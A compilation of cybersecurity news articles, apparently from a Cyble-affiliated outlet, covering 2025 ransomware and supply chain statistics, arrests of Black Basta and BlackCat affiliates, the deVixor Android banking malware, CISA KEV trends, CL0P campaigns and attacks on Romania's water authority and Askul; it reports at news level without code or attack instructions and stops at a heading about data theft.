Supply chain attacks soared by 93% in 2025, according to Cyble dark web researchers, as supply chain attacks claimed by threat groups surged from 154 incidents in 2024 to 297 in 2025 (chart below). [caption id="attachment_108785" align="aligncenter" width="717"] Supply chain attacks by month 2024-2025 (Cyble)[/caption] “As ransomware groups are consistently behind more than half of supply chain attacks, the two attack types have become increasingly linked,” Cyble noted. Supply chain attacks have declined since setting a record in October, but Cyble noted that “they remain above even the elevated trend that began in April 2025.” Every industry and sector tracked by Cyble was hit by a software supply chain attack in 2025, but the IT and Technology sectors were by far the most frequently hit because of the potential for expanding attacks into downstream customer environments. The sophistication of those attacks also grew. Supply chain attacks in 2025 “expanded far beyond traditional package poisoning, targeting cloud integrations, SaaS trust relationships, and vendor distribution pipelines,” Cyble said. “Adversaries are increasingly abusing upstream services—such as identity providers, package registries, and software delivery channels—to compromise downstream environments on a large scale.” Attacks on Salesforce through third-party integrations is one such example, as attackers “weaponized trust between SaaS platforms, illustrating how OAuth-based integrations can become high-impact supply chain vulnerabilities when third-party tokens have been compromised.”

Qilin Dominated Following RansomHub’s Decline

Qilin emerged as the leading ransomware group in April after RansomHub was hit by a possible act of sabotage by rival Dragonforce. Qilin claimed another 190 victims in December, besting a resurgent Lockbit and other leaders such as newcomer Sinobi. Qilin claimed 17% of all ransomware victims in 2025, well ahead of Akira, CL0P, Play and SafePay (chart below). Cyble noted that of the top five ransomware groups in 2025, only Akira and Play also made the list in 2024, as RansomHub and Lockbit declined and Hunters apparently rebranded as World Leaks. [caption id="attachment_108788" align="aligncenter" width="936"] 2025's top ransomware groups (Cyble)[/caption] Cyble documented 57 new ransomware groups, 27 new extortion groups and more than 350 new ransomware strains in 2025. Those new strains were “largely based on the MedusaLocker, Chaos, and Makop ransomware families,” Cyble said. Among new groups, Devman, Sinobi, Warlock and Gunra have targeted critical infrastructure, particularly in Government & Law Enforcement and Energy & Utilities, at an above-average rate. RALord/Nova, Warlock, Sinobi, The Gentlemen and BlackNevas have focused on the IT, Technology, and Transportation & Logistics sectors. The U.S. was by far the most attacked country, suffering 55% of all ransomware attacks in 2025. Canada, Germany, the UK, Italy and France rounded out the top six (chart below). [caption id="attachment_108789" align="aligncenter" width="936"] 2025 ransomware attacks by country (Cyble)[/caption] Construction, professional services and manufacturing were the industries most targeted by ransomware groups, followed by healthcare and IT (chart below). [caption id="attachment_108791" align="aligncenter" width="936"] 2025 ransomware attacks by sector (Cyble)[/caption] “The significant supply chain and ransomware threats facing security teams as we enter 2026 require a renewed focus on cybersecurity best practices that can help protect against a wide range of cyber threats,” Cyble concluded, listing best practices such as segmentation and strong access control and vulnerability management.

Cyble’s Annual Threat Landscape Report for 2025 documents a cybercrime environment that remained volatile even as international law enforcement agencies escalated disruption efforts. Large-scale takedowns, arrests, and infrastructure seizures failed to slow adversaries for long. Instead, cybercriminal ecosystems fractured, reorganized, and re-emerged across decentralized platforms, encrypted messaging channels, and invitation-only forums. The ransomware landscape, in particular, demonstrated a capacity for rapid regeneration that outpaced enforcement pressure.  According to Cyble’s report, ransomware was the most destabilizing threat category throughout 2025. Attacks expanded across government, healthcare, energy, financial services, and supply-chain-dependent industries. Many groups moved away from encryption-centric campaigns toward extortion-only operations, relying on data theft, public exposure, and reputational damage to extract payment. This shift reduced operational friction and shortened attack cycles, making traditional detection and containment models less effective.  Artificial intelligence further reshaped attacker operations. Cyble observed AI-assisted automation being embedded into multiple stages of the kill chain. Negotiation workflows were partially automated. Malware became more polymorphic. Intrusion paths were adapted in real time as defenses responded. These developments increased attack velocity while compressing dwell time, forcing defenders to operate with narrower margins for response. 

Measured Threat Activity Across Underground Ecosystems 

CRIL tracked 9,817 confirmed cyber threat incidents across forums, marketplaces, and leak sites during 2025. These incidents impacted organizations spanning critical infrastructure, government agencies, and law enforcement entities.  [caption id="attachment_108748" align="aligncenter" width="946"] sectors and regions targeted by threat actors in 2025 (Source: Cyble)[/caption] The breakdown of activity was heavily skewed toward monetized data exposure. 6,979 incidents involved breached datasets or compromised information advertised for sale. Another 2,059 incidents centered on the sale of unauthorized access, including credentials, VPN entry points, and administrative footholds. Government, law enforcement agencies (LEA), BFSI, IT & ITES, healthcare, education, telecommunications, and retail remained in the most consistently targeted sectors.  Geographic analysis showed a clear concentration of activity in Asia, where 2,650 incidents affected organizations through breaches, leaks, or access sales. North America followed with 1,823 incidents, while Europe and the United Kingdom recorded 1,779 incidents. At the country level, the United States, India, Indonesia, France, and Spain experienced the highest volume of targeting during the year. 

Ransomware Growth and Structural Expansion 

Cyble’s Annual Threat Landscape Report quantifies the scale of ransomware’s expansion over time. From 2020 to 2025, ransomware incidents increased by 355%, rising from roughly 1,400 attacks to nearly 6,500. While 2023 marked the largest year-over-year surge, 2025 produced the second-largest spike, with 47% more attacks than observed across the prior two years combined.  The ransomware landscape also broadened structurally. CRIL identified 57 new ransomware groups and 27 new extortion-focused groups emerging in 2025 alone. More than 350 new ransomware strains surfaced during the year, many derived from established codebases such as MedusaLocker, Chaos, and Makop. Rather than consolidating, the ecosystem continued to fragment, complicating attribution and enforcement. 

Affiliate Mobility and Repeat Victimization 

One of the most consequential trends documented in the Annual Threat Landscape Report was the recurrence of victim targeting. CRIL observed 62 organizations listed by multiple ransomware groups within the same year, sometimes within weeks. Across a five-year window, more than 250 entities suffered ransomware attacks more than once.  [caption id="attachment_108750" align="aligncenter" width="945"] Ransomware attack trends between 2020 and 2025 (Source: Cyble)[/caption] This pattern reflected widespread affiliate mobility. Ransomware-as-a-Service operators shared affiliates who moved between platforms, relisted victims, and reused stolen data to sustain pressure. Groups such as Cl0p, Qilin, Lynx, INC Ransom, Play, LockBit, and Crypto24 repeatedly claimed overlapping victims during short timeframes.  Several new groups, including Devman and Securotrop, initially operated within established RaaS programs before developing independent tooling and infrastructure. This progression blurred the line between affiliate and operator and further decentralized the ransomware landscape. 

Law Enforcement Pressure and Criminal Countermoves 

Law enforcement activity intensified throughout 2025. Authorities disrupted operations tied to CrazyHunters and 8Base and arrested or indicted affiliates associated with Black Kingdom, Conti, DoppelPaymer, RobbinHood, Scattered Spider, DiskStation, Ryuk, BlackSuit, and Yanluowang.  These actions forced tactical changes but did not suppress activity. CRIL confirmed insider recruitment efforts by Scattered Spider, LAPSUS$ Hunters, and Medusa. Other groups, including Play and MedusaLocker, publicly referenced similar recruitment strategies through announcements on their data leak sites. The ransomware landscape responded to enforcement pressure by becoming opaquer rather than less active. 

Tactical Shifts Toward Extortion-Only Models 

Operational realignment became more visible in 2025. Hunters International abandoned its RaaS model and rebranded as World Leaks, repositioning itself as an Extortion-as-a-Service provider while maintaining cross-relationships with RaaS operators such as Secp0. Analysis also indicated that Everest redirected part of its activity toward extortion-only campaigns, reducing reliance on encryption payloads.  [caption id="attachment_108751" align="aligncenter" width="291"] Rebranded ransomware groups reported in 2025 (Source: Cyble)[/caption] The year also saw widespread rebranding. Hunters International became World Leaks. Royal re-emerged as Chaos. LockBit 3.0 evolved into LockBit 4.5 and later 5.0. HelloKitty resurfaced as Kraken. At the same time, numerous groups dissolved or ceased operations, including ALPHV/BlackCat, Phobos/8Base, Cactus, RansomHub, and CrazyHunter. 

Victimology and Sector Impact 

Ransomware victimology data revealed 4,292 victims in the Americas, 1,251 in Europe and the UK, 589 across Asia and Oceania, and 202 within META-region organizations. The United States accounted for 3,527 victims, followed by Canada (360), Germany (251), the United Kingdom (198), Brazil (111), Australia (98), and India (67).  Sectoral impact remained uneven but severe. Manufacturing recorded 600 impacted entities, with industrial machinery and fabricated metal manufacturers bearing the brunt. Healthcare followed with 477 victims, where general hospitals and specialty clinics were repeatedly targeted to exploit the sensitivity of Personal Health Information. Construction, professional services, IT & ITES, BFSI, and government organizations also experienced sustained pressure. 

Supply Chain Exploitation and Infrastructure Risk 

Supply chain compromise emerged as a defining feature of the 2025 ransomware landscape. Cl0p’s exploitation of the Oracle E-Business Suite vulnerability CVE-2025-61882 affected more than 118 entities worldwide, primarily in IT & ITES. Among these victims were six organizations classified as critical infrastructure industries. Fog ransomware actors compounded supply chain risk by leaking GitLab source code from multiple IT firms.  Government and law enforcement agencies in the United States were targeted aggressively, with more than 40 incidents impacting essential public services. Semiconductor manufacturers in Taiwan and the United States remained priority targets due to their role as global production hubs. European semiconductor developers also faced attacks, though at lower volumes. 

High-Impact Incidents and Strategic Targeting 

Healthcare attacks continued to cause operational disruption, with repeated exposure of PHI used to intensify extortion pressure. Telecom providers faced sustained risk due to large-scale theft of customer PII, which threat actors actively traded and reused for downstream fraud. In several cases, ransomware groups removed breach disclosures from leak sites shortly after publication, suggesting successful ransom payments or secondary data sales.  Aerospace and defense organizations experienced fewer incidents but higher impact. One of the most significant events in 2025 was the attack on Collins Aerospace, which disrupted operations across multiple European airports and exposed proprietary defense technologies. Telemetry indicated disproportionate targeting of NATO-aligned defense developers.  Cyble’s Annual Threat Landscape Report makes one conclusion unavoidable: ransomware is no longer a disruption-driven threat; it is an intelligence-led, adaptive business model that thrives under pressure. The data from 2025 shows an ecosystem optimized for speed, affiliate mobility, and supply-chain leverage, with AI now embedded deep into extortion workflows and intrusion paths.   The Cyble Annual Threat Landscape Report provides complete datasets, regional breakdowns, threat actor analysis, and tactical intelligence drawn directly from CRIL’s monitoring of underground ecosystems. Readers can download the report to access the detailed findings, charts, and threat mappings referenced throughout this analysis.  Organizations looking to operationalize this intelligence can also book a Cyble demo to see how Cyble’s AI-powered threat intelligence platform translates real-world adversary data into actionable defense, combining automated threat hunting, supply-chain risk visibility, and predictive analytics driven by Cyble’s latest generation of agentic AI. 

European and international law enforcement agencies have intensified their pursuit of individuals connected to the Black Basta ransomware operation. Authorities confirmed that the alleged leader of the Russia-linked ransomware-as-a-service (RaaS) group has been placed on both the European Union’s Most Wanted list and INTERPOL’s Red Notice, while Ukrainian and German investigators have identified two additional suspects operating inside Ukraine.  According to official notices, Ukrainian National Police and German Federal Criminal Police (BKA) coordinated efforts to uncover members of an international hacking group affiliated with Russia. [caption id="" align="aligncenter" width="240"] Oleg Evgenievich NEFEDOV Source: Federal Criminal Police Office (Bundeskriminalamt)[/caption] The investigation identified two Ukrainian nationals who allegedly performed specialized technical roles within the criminal structure of Black Basta ransomware. At the same time, investigators formally named the group’s suspected organizer as Oleg Evgenievich Nefedov (Нефедов Олег Євгеньевич), a 35-year-old Russian citizen.  Law enforcement statements said Nefedov has now been declared internationally wanted. He was added to the EU Most Wanted list, and an INTERPOL Red Notice was issued at the initiative of Germany’s Federal Criminal Police Office and the Central Office for Combating Internet Crime (ZIT) of the Frankfurt am Main Public Prosecutor’s Office. German authorities are seeking him on suspicion of “extortion in an especially serious case, formation and leadership of a criminal organization, and other criminal offenses.” 

Authorities Detail Role of Alleged Ringleader and Technical Specialists 

German prosecutors allege that Nefedov founded and led the group behind the Black Basta ransomware, acting as its ringleader and chief decision-maker. Under multiple pseudonyms, including tramp, tr, AA, Kurva, Washingt0n, and S.Jimmi. He is suspected of developing and establishing the Black Basta malware. Investigators claim he functioned as the group’s “managing director,” selecting attack targets, recruiting personnel, assigning tasks, participating in ransom negotiations, managing cryptocurrency proceeds, and distributing payments to members of the group.  The Ukrainian National Police detailed how domestic cyber police officers and investigators from the Main Investigative Department, under the procedural guidance of the Cyber Department of the Office of the Prosecutor General, worked alongside the German BKA to disrupt the group’s activities. Within the framework of the international investigation, two participants operating in Ukraine were identified as performing technical functions essential to ransomware attacks.  According to investigators, these individuals specialized in breaking into protected systems and preparing ransomware campaigns. They acted as so-called “hash crackers,” extracting passwords from corporate information systems using specialized software. After obtaining employee credentials, the suspects allegedly accessed internal company networks without authorization, escalated privileges of compromised accounts, and expanded their control within corporate environments.  Authorities said this access was then used to compromise critical systems, steal confidential data, and deploy malware designed to encrypt files. Victims were subsequently extorted for ransom payments, typically demanded in cryptocurrency, in exchange for data decryption and restoration.  Searches authorized by the court were carried out at the suspects’ residences in the Ivano-Frankivsk and Lviv regions. During these operations, police seized evidence of illegal activity, including digital storage devices and cryptocurrency assets. 

Black Basta Ransomware Global Impact 

Through joint efforts involving Europol specialists, investigators also identified Nefedov as the probable organizer of the broader criminal enterprise. Foreign law enforcement partners indicated he may also have been involved in the operations of another notorious ransomware group, Conti.  Law enforcement agencies described the Black Basta ransomware group as one of the most dangerous cybercrime organizations in recent years. Between 2022 and 2025, the group allegedly targeted hundreds of companies, institutions, and government bodies in economically developed Western countries, causing damages estimated in the hundreds of millions of euros. Victims spanned multiple sectors, including healthcare, manufacturing, and construction, across the United States, the United Kingdom, Canada, Australia, and several EU member states.  The investigation has been conducted as part of a wider international cooperation framework involving authorities from Ukraine, Germany, Switzerland, the Netherlands, and the United Kingdom. Ukrainian police also noted that earlier investigative actions, including searches in Kharkiv and the surrounding region, had already been carried out at the request of foreign partners. 

A new Android banking malware can launch ransomware attacks in addition to more typical activities like credential theft and user surveillance. The “deVixor” remote access trojan (RAT) was detailed by Cyble researchers in a new blog post. While focused on Iranian banking users for now, the malware developer’s active Telegram channel suggests that the malware could eventually find wider use. As Cyble noted, “The channel’s growing subscriber base further supports the assessment that deVixor is being maintained and distributed as an ongoing criminal service rather than a short-lived operation.” “DeVixor demonstrates how modern Android banking malware has evolved into a scalable, service-driven criminal platform capable of compromising devices over the long term and facilitating financial abuse,” the researchers added.

Android Banking Malware DeVixor’s Many Capabilities

The deVixor campaign has been active since October, targeting Iranian users through phishing websites that masquerade as legitimate automotive businesses promising deep discounts to lure users into downloading malicious APK files. Cyble said its analysis of more than 700 samples “indicates with high confidence that the threat actor has been conducting a mass infection campaign leveraging Telegram-based infrastructure, enabling centralized control, rapid updates, and sustained campaign evolution.” DeVixor has evolved from basic SMS harvesting into a full-featured RAT that offers bank fraud, credential theft, ransomware, and device surveillance from a single platform. The Android banking malware uses Firebase for command delivery and a Telegram-based bot infrastructure for administration, “allowing attackers to manage infections at scale and evade traditional detection mechanisms.” Evolving from early versions that primarily focused on collecting PII and harvesting banking-related SMS messages, the malware has evolved rapidly, adding banking-related overlay attacks, keylogging, ransomware attacks, Google Play Protect bypass techniques, and exploitation of Android’s Accessibility Service. The RAT uses a Telegram bot–based admin panel for issuing commands, and each APK deployed is assigned a unique Bot ID stored in a local port.json file, allowing the operator to monitor and control individual devices. Cyble listed nearly 50 commands that the malware can execute. DeVixor can harvest OTPs, account balances, card numbers, and messages from banks and cryptocurrency exchanges. It captures banking credentials by loading legitimate banking pages inside a WebView-based JavaScript injection. The malware can also collect all device notifications, capture keystrokes, prevent uninstallation, hide its presence, harvest contacts, and take screenshots. “Android banking malware has progressed well beyond basic credential-harvesting threats, evolving into sophisticated remote access toolkits maintained as persistent, service-driven criminal operations,” the researchers said. “The modular command architecture, persistent configuration mechanisms, and an active development cycle all indicate that deVixor is not an isolated campaign, but a maintained and extensible criminal service,” Cyble said.

Android Ransomware

The Android banking malware also includes “a remotely triggered ransomware module capable of locking devices and demanding cryptocurrency payments,” the researchers said. After the RANSOMWARE command is issued, the malware receives the attacker-supplied parameters, including the ransom note, a TRON cryptocurrency wallet address, and the ransom demand. Details are stored locally in a file called LockTouch.json, which retains the ransomware infection across device reboots. Based on screenshots posted on the threat actor’s Telegram channel, deVixor locks the victim’s device and displays the ransom message “Your device is locked. Deposit to unlock,” along with the attacker’s TRON wallet address. The malware also sends device identifiers and ransom-related details to the command and control (C&C) server to track victim status and compliance with demands.

After stabilizing in 2024, the growth of known exploited vulnerabilities accelerated in 2025. That was one conclusion from Cyble’s analysis of CISA’s Known Exploited Vulnerability (KEV) catalog data from 2025. After growing at roughly 21% in 2023, with 187 vulnerabilities added to the CISA KEV catalog that year, growth slowed to about 17% in 2024, with 185 vulnerabilities added. Growth in exploited vulnerabilities reaccelerated in 2025, with 245 vulnerabilities added to the KEV database, for a roughly 20% growth rate. The KEV catalog ended 2025 with 1,484 software and hardware flaws at high risk of attack. The 245 flaws added in 2025 is also more than 30% above the trend of 185 to 187 vulnerabilities added the previous two years. Cyble also examined vulnerabilities exploited by ransomware groups, the vendors and projects with the most KEV additions (and several that actually improved), and the most common exploited software weaknesses (CWEs).

Older Vulnerabilities Added to CISA KEV Also Grew

Older vulnerabilities added to the CISA KEV catalog also grew in 2025, Cyble said. After adding an average of 65 older vulnerabilities to the KEV catalog in 2023 and 2024, CISA added 94 vulnerabilities from 2024 and earlier to the catalog in 2025, an increase of nearly 45% from the 2023-2024 average. The oldest vulnerability added to the KEV catalog last year was CVE-2007-0671, a Microsoft Office Excel Remote Code Execution vulnerability. The oldest vulnerability in the catalog remains CVE-2002-0367, a privilege escalation vulnerability in the Windows NT and Windows 2000 smss.exe debugging subsystem that has been known to be used by ransomware groups, Cyble said. CISA removed at least one vulnerability from the KEV catalog in 2025. CVE-2025-6264 is a Velociraptor Incorrect Default Permissions vulnerability that CISA determined had “insufficient evidence of exploitation,” Cyble noted.

Vulnerabilities Targeted in Ransomware Attacks

CISA marked 24 of the vulnerabilities added in 2025 as known to be exploited by ransomware groups, Cyble said. Those vulnerabilities include some well-known flaws such as CVE-2025-5777 (dubbed “CitrixBleed 2”) and Oracle E-Business Suite vulnerabilities targeted by the CL0P ransomware group. Vendors with multiple vulnerabilities targeted by ransomware groups included Fortinet, Ivanti, Microsoft, Mitel, Oracle and SonicWall.

Projects and Vendors with the Most Exploited Vulnerabilities

Microsoft once again led all vendors and projects in CISA KEV additions in 2025, with 39 vulnerabilities added to the database, up from 36 in 2024. Apple, Cisco, Google Chromium. Ivanti and Linux each had 7-9 vulnerabilities added to the KEV catalog. Several vendors and projects actually improved in 2025, with fewer vulnerabilities added than they had in 2024, “suggesting improved security controls,” Cyble said. Adobe, Android, Apache, Ivanti, Palo Alto Networks, and VMware were among those that saw a decline in KEV vulnerabilities.

Most Common Software Weaknesses

Eight software and hardware weaknesses (common weakness enumerations, or CWEs) were “particularly prominent among the 2025 KEV additions,” Cyble said, noting that the list is similar to the 2024 list. The most common CWEs in the 2025 CISA KEV additions were:

• CWE-78 – OS Command Injection – accounted for 18 of the 245 vulnerabilities.
• CWE-502 – Deserialization of Untrusted Data – was  a factor in 14 of the vulnerabilities.
• CWE-22 – Path Traversal – appeared 13 times.
• CWE-416 – Use After Free – was a flaw in 11 of the vulnerabilities.
• CWE-787 – Out-of-bounds Write – accounted for 10 of the vulnerabilities.
• CWE-79 – Cross-site Scripting – appeared 7 times.
• CWE-94 (Code Injection) and CWE-287 (Improper Authentication) appeared 6 times each.

 

Two cybersecurity experts charged with deploying ALPHV BlackCat ransomware against five companies have pleaded guilty to federal charges in the case, the U.S. Department of Justice announced today. Ryan Goldberg, 40, of Georgia, and Kevin Martin, 36, of Texas, were indicted in the BlackCat ransomware case in October. Together with an unnamed co-conspirator, they “successfully deployed the ransomware known as ALPHV BlackCat between April 2023 and December 2023 against multiple victims located throughout the United States,” the Justice Department said today. The two face sentencing in March for conspiring to obstruct commerce through extortion.

Misusing ‘Trusted Access and Technical Skill’

Martin and the co-conspirator worked as ransomware negotiators for DigitalMint, a Chicago-based company that specializes in mitigating cyberattacks, while Goldberg was an incident response manager at Sygnia Cybersecurity Services. DigitalMint and Sygnia have publicly stated they were not targets of the investigation and have cooperated fully with law enforcement. “These defendants used their sophisticated cybersecurity training and experience to commit ransomware attacks — the very type of crime that they should have been working to stop,” stated Assistant Attorney General A. Tysen Duva of the Justice Department’s Criminal Division. “Goldberg and Martin used trusted access and technical skill to extort American victims and profit from digital coercion,” added U.S. Attorney Jason A. Reding Quiñones for the Southern District of Florida. “Their guilty pleas make clear that cybercriminals operating from within the United States will be found, prosecuted, and held to account.”

BlackCat Ransomware Case Netted More Than $1 million

According to the Justice Department, the three men agreed to pay the ALPHV BlackCat administrators a 20% share of any ransom payments they received in exchange for the ransomware and access to ALPHV BlackCat’s extortion platform. “After successfully extorting one victim for approximately $1.2 million in Bitcoin, the men split their 80% share of this ransom three ways and laundered the funds through various means,” the Justice Department said. The five unnamed victim companies targeted by the co-conspirators included:

• A medical device company based in Tampa, Florida
• A pharmaceutical company based in Maryland
• A doctor’s office based in California
• An engineering company based in California
• A drone manufacturer based in Virginia

The Tampa medical device company paid a $1.27 million ransom; it is not clear if other ransom payments were made. The Justice Department placed the guilty pleas in the context of priori law enforcement actions aimed at disrupting ALPHV BlackCat, including the development of a decryption tool that that the U.S. says saved global victims nearly $100 million in ransom payments. The Justice Department said Goldberg and Martin each pleaded guilty to one count of “conspiracy to obstruct, delay or affect commerce or the movement of any article or commodity in commerce by extortion in violation of 18 U.S.C. § 1951(a).” The defendants are scheduled to be sentenced on March 12, 2026, and face a maximum penalty of 20 years in prison. The cybersecurity industry has faced a number of insider incidents in recent months, including a “suspicious insider” at CrowdStrike and a former cybersecurity company official who pled guilty to stealing trade secrets to sell them to a Russian buyer. In the Goldberg and Martin case, corporate assets do not appear to have been misused.

Victims of the CL0P ransomware group’s August campaign targeting Oracle E-Business Suite vulnerabilities are still coping with the aftermath of the cyberattacks, as Korean Air and the University of Phoenix have become the latest to reveal details of the breach. The University of Phoenix reported earlier this month in an SEC filing that it was among the Oracle EBS victims, after the company was named as a victim by CL0P on the threat group’s dark web data leak site. In a new filing with the Maine Attorney General’s office, the University of Phoenix revealed the extent of the breach – nearly 3.5 million people may have had their personal data compromised, including names, dates of birth, Social Security numbers, and bank account and routing numbers. The sample notification letter provided by the university offered victims complimentary identity protection services. including a year of credit monitoring, dark web monitoring, a $1 million identity fraud loss reimbursement policy, and identity theft recovery services. Oracle EBS victims continue to grapple with the aftermath of the attacks even as CL0P has reportedly moved on to a new extortion campaign targeting internet-facing Gladinet CentreStack file servers.

Korean Air Among Oracle EBS Victims

Korean Air also reported a cyberattack that appears linked to the Oracle EBS campaign. According to news reports, KC&D Service – the former in-flight catering subsidiary of the airline that’s now owned by a private equity firm – informed Korean Air of a leak that involved personal data belonging to the airline’s employees. The compromised data involved 30,000 records and included names and bank account numbers. The breach was revealed in an “internal notice,” according to the reports. The airline said no customer data appears to have been compromised by the breach. According to Korea JoongAng Daily, Woo Kee-hong, vice chairman of Korean Air, said in a message to employees, “Korean Air takes this incident very seriously, especially since it involves employee data, even if it originated from a third-party vendor that was sold off. We are currently focusing all our efforts on identifying the full scope of the breach and who was affected.” While the reports didn’t specifically mention the Oracle EBS campaign, “Korean Air Catering” was one of more than 100 victims listed by CL0P on its data leak site. Other confirmed victims in the Oracle campaign have included The Washington Post, Harvard University, Dartmouth College, the University of Pennsylvania, American Airlines’ Envoy Air, Logitech, Cox, Mazda, Canon, and Hitachi’s GlobalLogic.

CL0P’s File Services Exploits

CL0P’s ability to exploit file sharing and transfer services at scale has made it a top five ransomware group over its six-year history, with more than 1,000 known victims to date, according to Cyble threat intelligence data. Other CL0P campaigns have targeted Cleo MFT, MOVEit, CrushFTP, SolarWinds Serv-U, PaperCut, and GoAnywhere, among others. CL0P’s exploitation of Cleo MFT vulnerabilities led to a record number of ransomware attacks earlier this year, and CL0P has also successfully exploited Accellion FTA vulnerabilities. Some reports have linked the Oracle EBS campaign to the FIN11 threat group, with CL0P acting as the public face of the campaign.

Romania's National Directorate for Cyber Security disclosed that on Saturday a ransomware attack compromised approximately 1,000 IT systems belonging to the nation's water authority - known as Administrația Națională Apele Române. The attack impacted 10 of the country's 11 regional water basin administrations including Oradea, Cluj, Iași, Siret, and Buzău.

The attackers exploited BitLocker—a legitimate Windows encryption mechanism—for malicious purposes to lock files across the infrastructure and deliver a ransom note demanding contact within seven days.

The incident affected multiple critical systems including Geographical Information System (GIS) application servers, database servers, Windows workstations, Windows Server systems, email and web servers, and Domain Name Servers. Despite the extensive IT compromise, operational technologies remained unaffected, allowing normal operations to continue.

Hydrotechnical Structures Remain Secure

The Romanian water authority clarified that the operation of hydrotechnical structures continues solely through dispatch centers using voice communications. Hydrotechnical constructions remain secure and are operated locally by specialized personnel coordinated through dispatch centers.

The organization stressed that despite the IT infrastructure compromise, water management operations including dam control, flood management, and water distribution systems continue functioning normally through manual oversight and voice coordination protocols developed for such contingencies.

BitLocker Weaponized for Malicious Encryption

Following an initial technical evaluation, investigators determined attackers exploited BitLocker, a legitimate encryption mechanism for Windows operating systems, using it maliciously to produce file blocking through encryption across affected systems. This technique represents an evolution in ransomware tactics where threat actors leverage built-in security tools rather than deploying custom malware.

The attackers transmitted a ransom note demanding contact within seven days. The National Directorate for Cyber Security reiterated its strict policy and recommendation that ransomware attack victims will not contact or negotiate with cyber attackers to avoid encouraging and financing this criminal ecosystem.

The Cyber Express reached out to the media center of the DNSC to understand what data was compromised and which group had claimed responsibility of the attack but authorities recommended that IT teams at the National Administration of Romanian Waters or regional water administrations should not be contacted, allowing them to concentrate on restoring IT services without distraction from media inquiries or external pressure.

Also read: Russia-Linked Hybrid Campaign Targeted 2024 Elections: Romanian Prosecutor General

Infrastructure Not Protected by National Cyber Defense System

The investigation revealed that Romanian water authority infrastructure was not currently protected through the national protection system for IT infrastructures with critical importance for national security against threats from cyberspace.

Necessary procedures have now been initiated to integrate this infrastructure into systems developed by the National Cyber Intelligence Center for ensuring cyber protection of both public IT infrastructures and private ones with critical importance for national security through use of cyber intelligence technologies.

Technical teams from the Directorate, National Administration Romanian Waters, the National Cyber Intelligence Center within the Romanian Intelligence Service, affected entities, and other state authorities with competencies in cybersecurity are actively involved in investigating and limiting the impact of the cyber incident.

This is an evolving story and will be updated as and when latest updates arrive.

The CL0P ransomware group appears to be targeting internet-facing Gladinet CentreStack file servers in its latest extortion campaign. The Curated Intelligence project said in a LinkedIn post that incident responders from its community “have encountered a new CLOP extortion campaign targeting Internet-facing CentreStack file servers.” Cyble said in a note to clients today that CL0P appears to be readying its dark web data leak site (DLS) for a new wave of victims following its exploitation of Oracle E-Business Suite vulnerabilities that netted more than 100 victims. “Monitoring of Cl0p's DLS indicates recent archiving and grouping of all previously listed victims associated with Oracle E-Business Suite exploitation under different folders, a move that strongly suggests preparation for a new wave of data leak publications,” Cyble said. “This restructuring activity is assessed to be linked to the ongoing exploitation of Gladinet CentreStack, with Cl0p likely staging victims for coordinated disclosure similar to its prior mass-extortion campaigns. No victim samples or deadlines related to the CentreStack victims have been published yet.”

CL0P May Be Targeting Gladinet CentreStack Vulnerabilities

It’s not clear if the CL0P campaign is exploiting a known or zero-day vulnerability, but in a comment on the LinkedIn post, Curated Intelligence said that an October Huntress report is “Likely related.” That report focused on CVE-2025-11371, a Files or Directories Accessible to External Parties vulnerability in Gladinet CentreStack and TrioFox that was added to CISA’s Known Exploited Vulnerabilities (KEV) catalog on Nov. 4. In a Dec. 10 report, Huntress noted that threat actors were also targeting CVE-2025-30406, a Gladinet CentreStack Use of Hard-coded Cryptographic Key vulnerability, and CVE-2025-14611, a Gladinet CentreStack and Triofox Hard Coded Cryptographic vulnerability. CVE-2025-30406 was added to the CISA KEV catalog in April, and CVE-2025-14611 was added to the KEV database on Dec. 15. In a Dec. 18 update to that post, Huntress noted the Curated Intelligence findings and said, “At present, we cannot say definitively that this is exploitation by the cl0p ransomware gang, but considering the timing of this reporting, we felt it was prudent to share this recent threat intel.” The latest release on Gladinet's CentreStack website as of December 8 is version 16.12.10420.56791, Huntress noted. “We recommend that potentially impacted Gladinet customers update to this latest version immediately and ensure that the machineKey is rotated,” the blog post said. Curated Intelligence noted that recent port scan data shows more than 200 unique IPs running the “CentreStack - Login” HTTP Title, “making them potential targets of CLOP who is exploiting an unknown CVE (n-day or zero-day) in these systems.”

CL0P’s History of File Transfer Attacks

Curated Intelligence noted that CL0P has a long history of targeting file sharing and transfer services. “This is yet another similar data extortion campaign by this adversary,” the project said. “CLOP is well-known for targeting file transfer servers such as Oracle EBS, Cleo FTP, MOVEit, CrushFTP, SolarWinds Serv-U, PaperCut, GoAnywhere, among others.” CL0P’s exploitation of Cleo MFT vulnerabilities led to a record number of ransomware attacks earlier this year, and CL0P has also successfully exploited Accellion FTA vulnerabilities. The group’s ability to successfully exploit vulnerabilities at scale has made it a top five ransomware group over its six-year-history (image below from Cyble). [caption id="attachment_107950" align="aligncenter" width="1200"] CL0P is a top five ransomware group over its six-year history (Cyble)[/caption]

Japanese office and household goods supplier Askul Corporation has begun restoring core logistics operations following a prolonged disruption caused by a ransomware incident. The Askul cyberattack, first detected on October 19, 2025, led to system outages, operational paralysis, and the confirmed exposure of sensitive personal and business data. After nearly two months of recovery work, Askul announced that system-based shipment operations had resumed, starting with two logistics centers located in Tokyo and neighboring Saitama Prefecture. The company said that eight additional distribution hubs will be brought back online gradually as safety assessments are completed. Speaking to reporters at a logistics center in Tokyo’s Edogawa Ward, President and CEO Akira Yoshioka issued a formal apology. “I sincerely apologize for the trouble and concern caused to many customers,” Yoshioka said. He added that the company was committed to pursuing “a full-fledged security governance reform” in response to the incident.

Disruption to Operations and Gradual Recovery 

The Askul cyberattack forced the company to suspend nearly all online services shortly after detection. Order intake and shipping operations across its ASKUL, Soloel Arena, and LOHACO platforms were halted on the afternoon of October 19, following confirmation that ransomware had encrypted internal systems. During the initial recovery phase, Askul accepted only limited orders via fax, restricting shipments to a small selection of essential items.  As system restoration progressed, the company gradually expanded order acceptance, prioritizing high-demand products such as copier paper. However, Yoshioka declined to provide a timeline for full restoration of logistics operations, stating that remaining hubs would reopen incrementally based on ongoing safety evaluations. 

Confirmation of Large-Scale Data Theft 

